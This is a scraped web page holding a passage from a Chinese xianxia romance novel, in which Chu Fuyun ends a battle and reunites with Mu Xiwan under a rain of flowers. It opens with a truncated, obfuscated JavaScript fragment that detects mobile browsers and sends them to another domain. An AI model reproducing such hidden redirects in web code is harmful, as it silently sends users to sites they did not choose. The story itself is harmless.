l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15340749|167445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间就听明白了楚扶昀话语中的“她”是谁。 他破口大笑:“好你个楚扶昀!你居然真的动了心,你居然真的会为她动心!” 楚扶昀笑而不答。 虞雍的笑声逐渐癫狂,渐渐的,他声嘶力竭:“所以暮兮晚果然是三十三重天上的另一位……” “嘘。” 楚扶昀看上去十分冷静,十分的和颜悦色,他只是慢慢的笑,笑得令人惊惧。 “有些秘密,咽回去。” 下一瞬,虞雍在他随手的法术之间,灰飞烟灭。 楚扶昀收了目光,他望着胜负已分的定局,再度负手一挥捻诀起阵,周身金光流转,只见势不可挡的法术浩浩荡荡覆盖了整座半灯城。 “长明在此,自天降灵,任凭千军万马,无量兵刀,谨听敕令。” “止。” 随着楚扶昀一字一句的敕令降下,霎时,半灯城所有兵戈停止,所有动荡平息,一切尘埃落定。 …… 暮色时分,楚扶昀率军回了请花关。 过了江,夕光昏昏照人间,傍晚残阳下,天地一片苍黄。 请花关的十里长街上,有成千上万的仙家人,凡尘客相聚观看,纷纷翘首以待。 他们不为恭候白帝归来,只为等一场花雨。 可是这一次,没有花雨了。 楚扶昀在乘马踏进关内那一刻,就明白,少宫主还没原谅他。 暮光黄昏,广袤的天上空荡荡的,没有任何花瓣落下。 迎接出征归来的军士其实是一件很常见的事儿,倘若此次出征的主将不是楚扶昀,而是东洲寻常武将,那么于情于理都该是虞辞前来犒劳兵将。 每逢将军归来,自有主君相迎。 但这天下唯独楚扶昀是个例外。 因为他自己既是一军主将,又是一洲主君,谁能有那个胆量,有那个资格敢来迎接他?动一步,都是逾矩了。 所以在暮兮晚未曾来到白洲时,帝微垣的仙卿都是恭敬肃穆地安排祭祀典仪,虽然陈旧古板,但也总比没有的好。 而祭祀的内容也很古板,就是照本宣科的诵读问问——一路辛苦,将军是否安好? 楚扶昀只觉得应付这些老规矩很累,干脆尽数撤了,反正,他对冷清寂寥的环境也习惯了。 直到楚扶昀在白洲看见一场花雨。 他的少宫主悄悄躲在云端上,暗中为他降下这天底下最美的典仪。 那也是楚扶昀见过的,最美的花。 可今日,请花关哪怕人头攒动,他目光不动声色地打量了很久,很远,也没有等来半个熟悉的影子。 云里也没有藏人。 是他惹了她生气。 随着大军安静地,沉默地走进请花关,所有本打算来瞧个热闹的仙家道士,百姓民众不由得窃窃私语起来。 “花呢?不是说能看到‘请君散花’这一奇观?” “看样子我们是白跑一趟,嘁。” “算了算了,还是四下散去,离白帝这位杀神一样的人物远点儿,万一我们言行失礼惹了白帝不悦,就算有十条命也不够赔。” 来请花关的人大多是外客,说起话也没什么顾忌。 “咦?你们看那是谁——”有人惊呼道。 楚扶昀一愣神,抬眸望去。 然后,他眼里满是掩盖不住的失落。 只见虞辞一身纱罗袍,头戴芙蓉冠,乘着神仙銮驾浮空而来——她来此,自然迎的是当初被楚扶昀借兵借走的那些东洲仙兵。 楚扶昀微微偏头颔首,他身边立即有太仙领命,率着仙兵离开队伍,在虞辞的接驾中斟杯酒,饮佳酿,一派喜气热闹。 有百姓说:“也行,虽没有‘请君散花’,但能饮一杯十洲春色也不错。” 楚扶昀眸光微敛,他没有再理会身后的将士,而是独自一人继续面不改色地御马在雪亮萧条的红尘中穿行而过,对一切喧嚣恍若未闻。 所有仙家民众见状心中生疑,却没人敢问他是要去哪儿,又是去寻谁。 直到他走至瑞气如霞的木岁道场,忽然闻见一阵熟悉的清香。 “……将军。”好听的嗓音音轻轻响起。 楚扶昀怔住了,记忆忽然像一汪秋水泛起涟漪,他勒住马,不可置信的抬眸望去。 “扶昀将军。”熟悉的呼唤再度传来。 有一位身着五彩霞衣的美丽姑娘坐在花树上,正远远地看着他。 “请问将军一路归来,可受奔波之劳?可受风雨之苦?” 暮兮晚一字一句说着话,念的,都是以往在白洲是祭祀典仪里古板枯燥的颂词。 楚扶昀从未有一日觉得,原来这些老掉牙的字句也能如此动听。 他没有说话,只是抬头望着她,正值暮色,两人目光相接,所有言而未明的字句,也都在这场交融难分的对视中了。 分别三日,待得重逢。 暮兮晚跳下花树,在漫天夕光中慢慢走向他。 最后,她再问了一句。 “请问将军,平安否?” 然后,有花乘风而来。